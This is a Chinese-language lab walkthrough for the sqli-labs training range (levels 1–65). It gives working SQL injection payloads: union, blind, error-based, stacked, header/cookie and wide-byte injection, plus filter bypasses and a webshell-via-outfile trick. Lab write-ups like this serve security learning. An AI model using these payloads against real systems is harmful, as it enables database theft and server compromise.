sqli-labs靶场
#sqli-labs靶场通关
less-1
根据提示需要输入一个ID和值(请输入ID作为带有数值的参数)
当输入id=1时会显示id 为1的数据。这里多演示几个对照数据库。
黑盒角度
从黑盒角度,只能去测试这个地方是否有注入点。
猜测是数字型时
and 1=1 --+ |
由于原始sql语句是字符型没有闭合,发现页面没有任何回显
字符型
' and '1'='1 |
页面回显不同
白盒角度
白盒角度通过代码去确认是否存在sql注入
定义了一个变量id用get类型去接受,并没有去做任何过滤直接带去sql语句中去查询(变量id是字符类型)。导致用户可以去输入恶意语句
开始注入
由于在源码中发现打印了mysql 报错信息说明可以进行报错注入
联合注入
测试表的字段数
1' order by 1--+ 正常 |
说明字段数为3
另一种字段查询方式
1' union select null--+ |
由于union 查询,要求select 具有相同的列数可以用null去填充,当填充列数与前一条select列数相同时才会返回数据。
这也就是为什么联合查询要输入那么多的数字。要求于前一条列数保持一致
当列数确定后就需要去看哪些数字可以回显数据。
1' union select 1,2,3--+ # 当这样去写会发现无法显示,可以去输入一个不存在的值让他去回显。 |
如上图所示2,3回显了数据。
查询当前数据的名和用户
-1’ union select 1,database(),user()--+ |
数据库名为security 用户名为 root
查询当前数据库的所有库
-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+ |
所有的库
与数据库对比是否一致
查询表
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ |
查询字段
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+ |
查询users 这个表的字段
查询字段内容
-1' union select 1,username,password from security.users --+ |
less-2
测试注入类型
' and '1'='1 |
当输入字符型第一条测试语句时就出现了mysql 语法错误。说明是数字型注入
确认字段数
1 and order by 3 --+ |
-1 and union select 1,2,3 --+ 回显为2,3 |
以下操作和第一关一样 唯一区别是数字型
less-3
测试类型
1' and '1'='1 |
发现页面回显不同,存在注入
查看回显位置
-1' union select 1,2,3--+ |
发生报错
源码查看
发现变量是(‘’) 这种形式 但我们上面的sql 测试语句任然生效
SELECT * FROM users WHERE id=('$id') |
只闭合了单引号没有闭合括号。
闭合(‘’) 查看回显
-1') union select 1,2,3--+ |
以下步骤只需要闭合 然后使用之前的联合查询操作即可
less-4
像之前一样测试发现没有任何回显,只能查看源码
源码查看
发现变量id先被拼接”” 在被带入sql 语句中
知道后可以进行闭合让后注入
-1") union select 1,2,3--+ |
然后基本的联合注入
less-5
1' and 1=1--+ |
页面回显不同存在注入 , 布尔盲注.
条件为真时返回 you are in…..
条件为假时不返回任何东西
源码
执行sql 语句后并没有输出结果。但由于这里打印了报错信息(mysql_error)说明可以进行报错注入
布尔盲注
先从数据库名方向入手。
1.确定数据库名的长度、(为了测试简单不进行猜测) 库名为: security
1' and length(database())=7 --+ 判断数据库长度是否为7 |
由上图可知数据库长度为8
知道数据库名长度后就要去猜测数据库名
数据库名猜测
1' and ascii(substring( databse(),1,1))=114--+ # 正常猜解数据库名应该使用大于号小于号去猜测大概的范围,然后去确定。这里为了偷懒直接演示正确与不正确的回显 |
进行一个个猜解即可。数据库名为: security
表的猜测
1.我们需要知道security数据库下有多个表
1' and (select count(table_name) from information_schema.tables where table_schema=database()) <10--+ |
返回为真,表的数据少于10个
1' and (select count(table_name) from information_schema.tables where table_schema=database()) <4--+ |
返回为假说明表的数据不少于4个
查看数据库表为4个
表的个数确定了开始确定表名长度。
1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) > 10 # |
查询第一个表名的长度,由上图所示 长度不可能大于10所以。返回为假。然后依次类推去猜测每个表的长度
确定表名
1' and ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--+ |
e的acsii码为101 所以返回为真 继续猜解直到表名为 emalis
确定表中的列数个数。
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='emalis')>10 --+ |
表中列数为2
获取第一个列名的长度
1' and length((select column_name from information_schema.columns where table_name= 'users' limit 0,1))>2--+ |
猜解即可
获取第一个列名的值
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1))=105--+ |
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),2,1))=100--+ |
列名为id
第二个列名的值
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),1,1))=101--+ |
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),2,1))=109--+ |
第二个列名的值为emali_id
知道了列名开始确认字段类容的长度
id 字段内容的长度
1' and length((select id from emails limit 0,1) )=1--+ |
1' and length((select id from emails limit 1,1) )=2--+ |
email_id 字段类容长度
1' and length((select email_id from emails limit 0,1) )=16--+ |
1' and length((select email_id from emails limit 2,1) )=19--+ |
字段内容确认后开始获取字段内容的值
1' and ascii(substr((select id from emails limit 0,1),1,1))=49 --+ |
49对应的ascii 码为1
1' and ascii(substr((select email_id from emails limit 0,1),1,1))=68 --+ |
查询emalis 表 emali_id 字段内容的第一个值
ps: 以上步骤可以借助burp 进行猜解
借助burp布尔盲注
假设数据库名和第一个表名长度已被已被猜解出来,开始猜解表名。
把拦截的数据发送给intruder
攻击模式选择 clusert bomb 设置两个变量
第一个框是用来控制字符后移。第二个控制ascii值
对应的便是第一个表名 emails
- cluster bomb – 每个变量对应一个字典,并且进行交叉式破解,尝试各种组合。适用于用户名 + 密码的破解。
less-6
和第四关一样在传入sql 语句时加入了 “” 号 但并不会输出数据。存在盲注和布尔注入 ,时间盲注
less-7
和上一关一样,只是闭合方式不同 回显不同而已 注释掉了报错信息。无法进行报错注入
less-8
这关也是布尔盲注
less-9
查看源码后发现他注释掉了 报错函数 和 布尔盲注(回显都是 you are in )。 那只能去尝试时间盲注
判断是否存在时间盲注
原始响应时间为4
1' and if(1=1,sleep(5),0)--+ |
发现改变了响应时间存在时间盲注
判断数据库名的长度
数据库长度为8
知道数据库的长度 开始猜解数据库的名 配合burp
1' and if((ascii(substr(database(),1,1)))=115,sleep(10),0)--+ |
把payload1 从一到8 组合起来
115=s |
由于是时间盲注无法根据长度判断。需要开启Response completed(响应已完成)和Response receive(已接收到响应)
- **Response received (已接收到响应)**:这表示 Burp Suite 已经收到了服务器对发送的请求的响应。这个阶段发生在服务器已经开始发送响应但还没有完全完成时。
- **Response completed (响应已完成)**:这表示服务器已经完全发送了响应,并且整个响应已经被接收完毕。这个阶段发生在服务器已经发送完整个响应并且 Burp Suite 已经成功接收到了所有数据。
只能看响应数比较大的几个值
猜解表和字段也是类似的操作
less-10
这关也是时间盲注 只需要闭合“ 即可
less-11
请求方式为post,注入方式还是存在
联合注入
or: 一边为真 条件为真。 |
判断字段数
表的字段数为2
查询当前库的表
uname=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&passwd=1&submit=Submit |
和之前的联合注入一样
less-12
post 注入 闭合 变量执行sql 语句前 添加了**”** 闭合 ”)
uname=1") or "1"="1"#&passwd&submit=Submit |
和11关一样
less-13
注释了 很多东西 闭合**’)**
打印了报错信息可以使用报错注入
报错注入使用extractvalue函数 updatexml函数 |
查看当前数据库名
uname=1') or extractvalue(1,concat(0x7e,(select database())))#&passwd=&submit=Submit |
查看表名
uname=1') or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#&passwd=&submit=Submit |
注:此处使用group_concat()函数进行输出,否则会出现错误。
查看users 表的字段
uname=1') or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())))#&passwd=&submit=Submit |
查看字段内容
uname=1') or extractvalue(1,(select group_concat(id,0x7e,username,0x7e,password) from security.users))#&passwd=&submit=Submit |
less-14
根据源码需要闭合**”** 报错注入
less-15
需要闭合**’**,打印报错信息也被注释掉了,时间盲注 布尔盲注
less-16
和15关一样 时间盲注和布尔注入
less-17
先分析源码 用post 接受 unmae passwd 变量的值。然后把name 值带入到了 check_input函数中
这个函数 先判断是否为空值,若不为空值开始使用substr 函数从0到15截取值。然后在用get_magic_quotes_gpc ,是否开启magic_quotes_gpc(magic_quotes_gpc是配置在php.ini中的,他的作用类似addslashes(),就是对输入的字符创中的字符进行转义处理)。有的话就用 stripslashes 函数去掉转义符,否侧会发生双重转义。第三判断检测用户是否有数字,如果没有就使用mysql_real_escape_string() 函数转义字符。反之把值转为整形。
可以看出是个 过滤函数
然后执行了一条sql语句,从users 表中查询 username,password 字段的内容 条件username 要等于数据库中的用户名。正常来说这应该是sql 注入漏洞。但由于username 变量的值 被转义处理过了。 username 中不存在sql 注入。
再往下看,他sql 语句执行成功后, 使用了更新语句去重新设置了password 的值 ,条件是存在的用户名。说明是个密码重置功能。然后这个password 并没有进行转义。下面的代码中还打印了mysql 报错信息。使用报错注入。
password 字段报错注入
admin 用户是存在的。使用这个进行报错注入。
uname=admin&passwd=1'and extractvalue(1,concat(0x7e,(database()),0x7e))#3&submit=Submit |
less-18
用**$_server[‘http_user_agent’]** 去接受用户的代理设置。
|
$_SERVER[‘REMOTE_ADDR’] 获取用户的真实ip
$_SERVER['REMOTE_ADDR']; //访问端(有可能是用户,有可能是代理的)IP |
从源码中可知,uname,passwd 被过滤掉了。
后面执行了一段插入语句把 $uafent 和 $ip 的值插入到数据库中,执行插入语句并输出了 这个用户代理的变量
那么 user_agent 是可以通过 burp 更改的,后面还打印报错信息。说明可以进行报错注入。但是第一条件为真,才能执行后面的插入语句,说明我们需要先登陆进去。
使用admin admin 登陆进去后,打印了用户代理
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname) #原始sql语句 |
另一种闭合方式 ' or updatexml(1,concat(0x7e,(database())),1),'','')# |
表
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1),'','')# |
ps:闭合方式不同,但表 库 的操作是一样的。
sqlmap - user angent注入
1.把数据包保存在一个txt 用* 指定测试的位置
sqlmap -r 1.txt |
2.使用 –level 参数
当–level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数 |
less-19
使用$_SERVER[REFERER] 去接受用户的来源地址 ,并赋值给$uagent。成功之后使用插入语句 把来源地址,ip插入到referers表中
这和上一关一样,区别就是这关是feferers注入,上一关是user-angent 注入。同样是报错注入一样的闭合。
less-20
第一个图片代码先设置了cookie 第二个判断是submit是否提交如果,尚未提交执行代码块。并把 cookie 带入数据库中查询。存在sql注入
也就是cookie 注入
Cookie: uname=admin' or extractvalue(1,concat(0x7e,(select database())))#; |
高级注入
less-21
和less-20 一样是cookie注入, 不过把cookie变量进行了base64编码。
闭合**’)**,把payload 进行base64 编码即可。
less-22
和上两关一样,进行编码和解码。然后cookie在加入sql 语句前加了双引号,闭合**”**
less-23
preg_replace 函数执行一个正则表达式的搜索和替换。
这里是搜索到# – 就把他替换为空。过滤掉了
sql语句还是字符型。闭合**’**.需要绕过注释符
可以用 and 或者 or 闭合 后面的’
也可以用
1' union select null,null,null and '1'='1 |
SELECT * FROM users WHERE id='$id' 原始语句 |
就是和第一关一样的步骤了
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),3 and '1'='1 #查表 |
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3 and '1'='1 #查字段 |
-1' union select 1,(select group_concat(username) from users),3 and '1'='1 # 内容 |
ps: 还可以使用%00截断
less-24
二次注入 参考https://94248.github.io/2023/04/15/sql%E6%B3%A8%E5%85%A5-%E4%BA%8C%E6%AC%A1%E6%B3%A8%E5%85%A5/
国光大佬的https://www.sqlsec.com/2020/05/sqlilabs.html#%E6%AD%A5%E9%AA%A4%E6%BC%94%E7%A4%BA
less-25
过滤了 and 和 or 符号
可以双写绕过。符号替换
and -> && |
因为只过滤了and 和 or 所以之后就是常规的联合注入
less-25a
和上一题一样过滤了 and or 可以双写绕过。数字型
less-26
过滤了 or and /**/ – # / 和空格
or and 1.可以使用双写 oorr aandnd 2. &&-> and -> %26 ||--> or |
ps: windows 环境中无法使用特殊字符去代替。linux 环境中可以
联合注入无法使用只能使用报错注入
1'||updatexml(1,concat(0x7e,(select(database())),0x7e),1)||'1'='1 |
1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security'),0x7e),1)||'1'='1 |
也可以使用布尔盲注
1'%26%26length(database())=8%26%26'1'='1 |
less-26a
和上关一样,闭合方式不同。可以使用布尔盲注
1')%26%26length(database())>7%26%26('1 |
less-27
27关过滤如上,过滤了union select 大小写。不过这里好像过滤了两次select。
绕过思路
大小组合写绕过 |
布尔注入
1'%0Aand%0Alength(database())>7%0Aand'1'='1 |
报错注入
1'%0Aand%0Aupdatexml(1,concat(0x7e,database(),0x7e),1)and%0A'1'='1 |
less-27a
需要闭合**”**,其他绕过思路和上一关一样
999"%0AUNIon%0ASELEct%0A1,database(),3%0Aand"1"="1 |
less-28
过滤了 相连接的union select。
可以使用双写绕过
999')%0Aununion%0Aselection%0Aselect%0A1,database(),3%0A||%0A('1')=('1 |
less-28a
这关只过滤了,union select 相连
999')%0Aununion%0Aselection%0Aselect%0A1,database(),3--+ |
less-29
前置知识
http参数污染
HTTP参数污染,也叫HPP(HTTP Parameter Pollution)。简单地讲就是给一个参数赋上两个或两个以上的值,由于现行的HTTP标准没有提及在遇到多个输入值给相同的参数赋值时应该怎样处理,而且不同的网站后端做出的处理方式是不同的,从而造成解析错误。 |
不同的服务器处理多个参数的方式不同。
这里使用的php/apache 组合的靶场,使用多个参数取后端服务器取最后的值
http参数污染可以使用组合其他漏洞。也可以用于绕过waf
29关的靶场有三个文件。实际用的到只有两个文件(login.php hacked.php)
需要关注的如上画框的两个函数
把输入带有&参数用explode 进行分割成数组。然后循环遍历取数组值。取第一个数组前两位(id) 判断为id 后从第三位开始取值
这里模仿的是一个中间件服务器。最终的数据交给后端处理,取num=2后面的值
使用正侧匹配过滤用户的输入。
这题绕过的思路使用http 参数污染。输入多个值,最终会处理最后的值。
之后的步骤就是联合注入
less-30
和29关一样的思路 闭合**”**就行
less-31
一样的思路闭合”)
less-32
宽字节注入
有时为了用户输入的数据是安全的会对数据进行转义 如加上\ 。 列如sql注入就无法完成了。
绕过方法:
1、%df 吃掉 \ 具体的原因是 urlencode(‘) = %5c%27,我们在%5c%27 前面添加%df,形 成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此 事%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
2、将 \’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的%5c 会被前面的%5c 给注释掉。这也是 bypass
将输入的值进行转义
这关使用第一个方法进行绕过
less-33
33关不再使用自定义函数进行转义,而是使用addslashes函数
addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。 |
也可以使用%df 进行绕过
-1%df%27 union select 1,database(),3--+ |
lesss-34
由get的方式变为了post 但任然可以使用%df 进行绕过
admin%df' union select 1,database() |
ps:
MySQL 注入天书这里介绍了一个新的方法 |
less-35
这关对输入的数据进行了转义,但是拼接的方式是数字型。正常注入即可
less-36
这关考的也是一个转义函数
mysql_real_escape_string() |
用之前的方法也可绕过
-1%df%27 union select 1,database(),3--+ |
less-37
用post 的方式去接受两个变量的值 用转义函数进行处理
admin%df%27 union select 1,database()--+ |
绕过方式还是一样的
注入天书:使用 addslashes (), 我们需要将 mysql_query 设置为 binary 的方式,才能防御此漏洞
堆叠注入(38-53)
less-38
查询的sql 语句使用的 mysqli_multi_query. 使用这个函数可以查询多个sql 语句。这也是堆叠注入的主要原因。堆叠注入必须知道表名列名,等条件。
使用堆叠注入进行增,删,改 ,查等操作
?id=1';insert into users(username,password) values ('hello','world'); |
dnslog数据外带
需要条件:(直接复制国光大佬的)
load_file 函数在 Linux 下是无法用来做 DNSLog 攻击的,因为在这里就涉及到 Windows 的 UNC 路径。
其实我们平常在 Widnows 中用共享文件的时候就会用到这种网络地址的形式
CODE |
CONCAT()
函数拼接了 4 个 \
了,因为转义的原因,4 个就变 \
成了 2 个 \
,目的就是利用 UNC 路径。
因为 Linux 没有 UNC 路径这个东西,所以当 MySQL 处于 Linux 系统中的时候,是不能使用这种方式外带数据的。
下面国光临时使用 Windows 下的 PHPStudy 来搭建 sqli-labs 测试环境:
PAYLOAD |
Hex 编码的目的就是减少干扰,因为域名是有一定的规范,有些特殊符号是不能带入的有。
less-39
和上一关一样的堆叠注入。数字型注入
1;insert into users(username,password) values ('x','y'); |
ps: 查询语句函数发生了 变化 但任然可以进行。联合注入,布尔盲注等操作
less-40
闭合方式不同,还是堆叠注入,联合注入,报错注入
1');insert into users(id,username,password) values('17','aaa','bbb'); |
less-41
联合、布尔盲注、延时盲注、堆叠注入。
less-42
login.php 中password 字段中存在报错注入
更新语句存在二次注入
less-43
上一关一样password 没有经过处理存在注入点
1')and updatexml(1,concat(0x7e,database(),0x7e),1)# |
less-44
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合、布尔盲注、延时盲注、堆叠注入 | username='$username' |
less-45
采用’) 进行闭合 缺少了报错注入。
less-46
order by 注入
sql 语句变成排序语句。get 方式接受sort 的一个参数。
在order by 中有升序和降序两种验证方式
进行验证
升序
降序
变量用户可控存在注入
union 语句无法使用在order by 后面使用。
mysql 注入天书中 提到两种方式
1.直接添加注入语句,?sort=(select ******) |
先是第一种
报错注入
?sort=(updatexml(1,concat(0x7e,database(),0x7e),1)) |
第二种利用 rand()函数
rand(true) 的页面
rand(false) 的页面
两种不同的回显可以使用布尔盲注和时间注入
布尔盲注
?sort=rand(ascii(substr(database(),1,1))=115) |
时间盲注
?sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1))) |
利用 order by 进行getshell
将查询结果导入到文件中:
SQL |
如果导入不成功的话,很可能是因为 Web 目前 MySQL 没有读写权限造成的。
访问验证是否有信息:
BASH$ curl http://127.0.0.1:8888/less46.txt |
利用导出文件 getshell:
注入天书里面提供了 lines terminated by 姿势用于 order by 的情况来 getsgell:
Payload
PAYLOAD |
3c3f70687020706870696e666f28293b3f3e 是 <php phpinfo();>
的十六进制编码。
**ps:**procedure analyse 参数后注入 利用 procedure analyse 参数,我们可以执行报错注入。同时,在 procedure analyse 和 orde r by 之间可以存在 limit 参数,我们在实际应用中,往往也可能会存在 limit 后的注入,可以 利用 procedure analyse 进行注入。 以下为示范例
http://127.0.0.1/sqli-labs/Less-46/?sort=1%20%20procedure%20analyse(extractvalue(rand(),con cat(0x3a,version())),1 |
less-47
闭合方式不同
报错、布尔盲注、延时盲注
?sort=1'and rand(ascii(left(database(),1))=115)--+ |
报错注入
0' or updatexml(1,concat('~',(select(group_concat(id,username,password))from(users))),0)%23 |
less-48
和46关一样。缺少报错注入
使用布尔盲注、延时盲注
less-49
延迟注入
' or%20 if(length(database())>8,sleep(5),0)--+ |
less-50
这关的查询函数,可以执行多个sql语句。存在堆叠注入。可以参考之前的堆叠注入
less-51
闭合’ 存在堆叠注入。
less-52
http://127.0.0.1/sqli-labs/Less-52/index.php?sort=1;create%20table%20less52%20like%20users |
堆叠注入
less-53
堆叠注入
http://127.0.0.1/sqli-labs/Less-53/index.php?sort=1%27;create%20table%20less53%20like%20users--+ |
进阶注入
less-54
后面的主要考验前面所学的东西,在他限定的次数中得到key。这关限制十次注入。(表名,key会随机生成)
1' and '1'='1 |
-1' union select 1,database(),3--+ // 库名 challenges |
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'--+ |
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='challenges' and table_name='qxebwdtui1'--+ // 字段名 id,sessid,secret_5EA4,tryy |
ke 值在 secrte_5EA4 中 |
-1' union select 1,group_concat(secret_5EA4),3 from challenges.qxebwdtui1--+ // 查询字段内容 izeyMpFmPMooZwX92v4Qtc5z |
提交,提示成功
less-55
和54关一样需要闭合 )
-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'--+ //wcmq4wkfd7 |
less-56
54关一样需要闭合’)
-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'--+ |
less-57
54关一样,需要闭合”
-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'--+ |
less-58
58关查询的数据都是定义在数组中的值,并不是返回数据库中的值。联合注入就无法实现,但是下面了打印了报错语句说明可以使用报错注入。
1' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+ |
less-59
和上一关一样。整数型注入 不需要闭合
1 or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+ |
less-60
同58关,闭合 ”)
1") or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+ |
less-61
同58关,闭合’))
1')) or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+ |
less-62
这关注释掉了 打印报错的语句。那么只能使用布尔盲注,或延迟注入
闭合’)
借助burp 来完成或sqlmap
less-63
同62延迟注入。闭合单引号
less-64
同62 延迟注入 闭合 ))
less-65
同62 延迟注入 闭合”)